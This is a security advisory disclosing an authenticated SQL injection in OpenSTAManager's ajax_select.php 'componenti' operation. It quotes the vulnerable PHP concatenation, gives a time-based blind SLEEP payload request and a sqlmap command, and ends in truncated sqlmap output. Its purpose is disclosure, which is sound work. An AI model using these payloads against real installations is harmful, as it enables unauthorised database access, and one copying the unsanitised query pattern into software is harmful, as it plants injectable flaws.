OpenSTAManager is an open source management software for technical assistance and invoicing. In 2.9.8 and earlier, an SQL Injection vulnerability exists in the ajax_select.php endpoint when handling the componenti operation. An authenticated attacker can inject malicious SQL code through the options[matricola] parameter.

Affected: Packagist: devcode-it/openstamanager

## Summary A SQL Injection vulnerability exists in the `ajax_select.php` endpoint when handling the `componenti` operation. An authenticated attacker can inject malicious SQL code through the `options[matricola]` parameter.

## Proof of Concept

### Vulnerable Code **File:** `modules/impianti/ajax/select.php:122-124`

```php case 'componenti': $impianti = $superselect['matricola']; if (!empty($impianti)) { $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')'; } ```

### Data Flow 1. **Source:** `$_GET['options']['matricola']` → `$superselect['matricola']` 2. **Vulnerable:** User input concatenated directly into `IN()` clause without sanitization 3. **Sink:** Query executed via AJAX framework

### Exploit

**Manual PoC (Time-based Blind SQLi):** ```http GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1 Host: localhost:8081 Cookie: PHPSESSID=<valid-session> ``` <img width="1306" height="581" alt="image" src="https://github.com/user-attachments/assets/238015dd-5644-4eed-ae8f-864dc0073011" />

**SQLMap Exploitation:** ```bash sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \ --cookie="PHPSESSID=<session>" \ --dbms=MySQL \ --technique=T \ --level=3 \ --risk=3 ```

**SQLMap Output:** ``` [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable Parameter: #1* (URI) Type: time-based blind T…